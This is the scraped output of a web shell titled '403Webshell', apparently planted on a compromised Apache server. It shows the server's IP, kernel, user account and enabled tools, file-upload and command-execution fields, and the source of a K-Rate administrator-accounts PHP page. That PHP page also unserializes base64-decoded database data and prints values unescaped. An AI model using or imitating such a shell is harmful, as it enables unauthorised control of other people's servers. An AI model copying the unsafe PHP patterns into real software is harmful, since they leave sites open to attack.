403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/baberankings.com.bak/members/modules/admins/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/baberankings.com.bak/members/modules/admins/admin/cp_manage.php
<?
/* K-Rate
(C) Rinalds Uzkalns, 2003-2004. All Rights Reserved
http://turn-k.net

Version: 1.00 (22.09.04)
*/
?>
<? admin_header('Administrator Accounts'); ?>
<?

//get admins
        $result = sql_query("SELECT * FROM $admtable ORDER BY adm_superadm DESC");
    print_r($subprivileges);
//show admin accounts
    echo '<table>';
    while ($line = sql_fetch_assoc($result)) {
  
        //get privileges
        if ($line['adm_superadm'] == 1) {
                $priv = '<font color=red><b>Superadmin</b></font><br>';                
                }
        else {
                $rights = unserialize(base64_decode($line['adm_rights']));
                $all = true;
                foreach ($privileges as $key => $value)
                        if ($rights[$key] == 1) {
                                $show_rights[] = $value;
                        } 
                        //not all rights
                        else {
                                $all = false;        
                        }
                $priv = '<ul style="margin:0px; margin-top:5px;padding-bottom:0px;"><li>'.implode('<li>',$show_rights).'</ul>';
                if ($all) $priv = 'All Privileges<br>';
                }
        
        echo '<tr><td valign=top><a href="?req=edit_cpac&id='.$line['adm_id'].'"><img src="../modules/admins/icons/nd0070.gif" border=0></a></td><td><a href="?req=edit_cpac&id='.$line[adm_id].'"><big><b>'.$line['adm_user'].'</b></big></a><br><br>
                  Privileges: '.$priv.'<br>
                  
                   <a href="?req=edit_cpac&id='.$line['adm_id'].'">Change Privileges</a> : <a href="mailto:'.$line['adm_email'].'">E-mail</a> : <a href="?req=dele_cpac&id='.$line[adm_id].'" onclick="javascript:return confirm(\'Do you really want to delete account `'.$line[adm_user].'`?\')">Delete Account</a></td></tr>';
          
        if (++$admc < sql_num_rows($result))
                echo '<tr><td colspan=2 style="border-bottom:1px solid black;font-size:1px;">&nbsp;</td></tr>';
        }
        echo '</table>';
?>

Youez - 2016 - github.com/yon3zu
LinuXploit